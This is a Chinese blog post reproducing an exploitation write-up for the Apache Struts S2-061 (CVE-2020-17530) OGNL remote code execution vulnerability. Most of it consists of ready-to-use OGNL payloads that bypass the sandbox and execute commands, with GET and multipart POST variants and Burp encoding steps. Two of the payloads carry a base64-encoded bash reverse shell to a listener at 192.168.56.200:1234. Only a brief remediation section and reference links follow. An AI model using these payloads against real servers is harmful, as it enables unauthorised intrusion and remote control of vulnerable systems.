首页 > 其他分享 >S2-061 CVE-2020-17530 远程代码执行

S2-061 CVE-2020-17530 远程代码执行

时间:2023-01-12 17:57:59浏览次数:55  
标签:061 get newInstance S2 request setBean 代码执行 apache org

漏洞名称

S2-061 CVE-2020-17530 远程代码执行

利用条件

Struts 2.0.0 - Struts 2.5.25

漏洞原理

s2-061漏洞产生的原因是Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

漏洞利用

漏洞检测

命令执行

payload1

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

使用burp特殊字符编码

image-20230112161340284

image-20230112164409770

payload2

%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec+=+#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'id'}).(#res=#exec.exec(#cmd))}

直接url发送

image-20230112171545144

使用burp

在线url网址编码、解码(ES JSON在线工具)

image-20230112163803328

image-20230112163635830

payload3

改为post请求

修改Content-Type为multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

加入以下内容

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

image-20230112170900489

payload4

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

burp特殊字符编码

image-20230112171046180

反弹shell

payload1

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'}))}

burp特殊字符编码后发送

image-20230112164757191

image-20230112164814939

payload2

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec+=+#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'}).(#res=#exec.exec(#cmd))}

在线url网址编码、解码(ES JSON在线工具)

编码后发送

image-20230112165113411

image-20230112165138816

修复建议

升级最新版

不方便升级的用户,至少也应采取以下措施降低风险:避免对不受信任的用户输入使用强制OGNL评估。

官方安全指南链接:

https://struts.apache.org/security/#do-not-use-incoming-untrusted -user-input-in-forced-expression-evaluation

参考文章

https://si1ent.xyz/2021/02/26/Struts2漏洞汇总/

https://github.com/wuzuowei/CVE-2020-17530

https://cwiki.apache.org/confluence/display/WW/S2-061

标签:061,get,newInstance,S2,request,setBean,代码执行,apache,org
From: https://www.cnblogs.com/crayonxiaoxin/p/17047366.html

相关文章

  • S2-059 CVE-2019-0230 远程代码执行
    漏洞名称S2-059CVE-2019-0230远程代码执行利用条件Struts2.0.0-Struts2.5.20漏洞原理漏洞产生的主要原因是因为ApacheStruts框架在强制执行时,会对分配给某些标......
  • laravel使用JWT签名算法,HS256和RS256有什么区别
    JWT签名算法中HS256和RS256有什么区别JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接......
  • Less23
    Less28过滤注释符的Get注入(单引号注入)Mysql注释符号注释类型符号单行注释---内容和#内容多行注释/*内容*/新注释符;%00内容审计代码:发现#......
  • windows2012通过powershell安装远程组件技巧
    概要:通过服务器管理器安装远程桌面服务会报错一直没有办法解决之后了解到安装组件可以通过power命令安装 powershell命令说明https://docs.microsoft.com/en-us/wind......
  • VS2022 17.1.6在windows10下打开winform设计器报timed out while connecting to named
    .net6.0的项目,vs202217.1.6在windows10下打开winform设计器报timedoutwhileconnectingtonamedpipe错误,同样的项目在windows7却可以打开winform设计器,很奇怪。N多......
  • 远程控制网关S274支持4路继电器
    采用GSM/GPRS/3G/4G网络通信,不受距离限制,任何地方都可使用;宽工作电压设计,支持9~36VDC供电,且带有防反接保护设计;采用本地配置软件、远程短信、APP设置参数,方便操作,简......
  • S2-052 CVE-2017-9805 远程代码执行
    漏洞名称S2-052CVE-2017-9805远程代码执行利用条件Struts2.1.6-Struts2.3.33Struts2.5-Struts2.5.12漏洞原理Struts2REST插件的XStream组件存在反序列化......
  • Hadoop生态元数据管理平台——Atlas2.3.0发布!
    大家好,我是独孤风。今天我们来聊一下另一个元数据管理平台ApacheAtlas。Atlas其实有一些年头了,是在2015年的时候就开源。相对于Datahub来说,Atlas显得有一些“老”了,社......
  • Docusaurus2搭建博客及入门使用
    ##开始上手[官方文档](https://docusaurus.io/zh-CN/docs/category/getting-started)##hexo博客转换为Docusaurus2博客hexo博客可以轻松的转换为Docusauru......
  • VS2022 Visual Assist 小番茄 设置强调色透明度
    这个估计你们找不到位置小番茄的RGBA其实是RGB~A也就是不透明度所以正常要设定为FFRRGGBB即可字体透明但是正常不可设置懒得逆向VAX代码...建议everything直接搜A......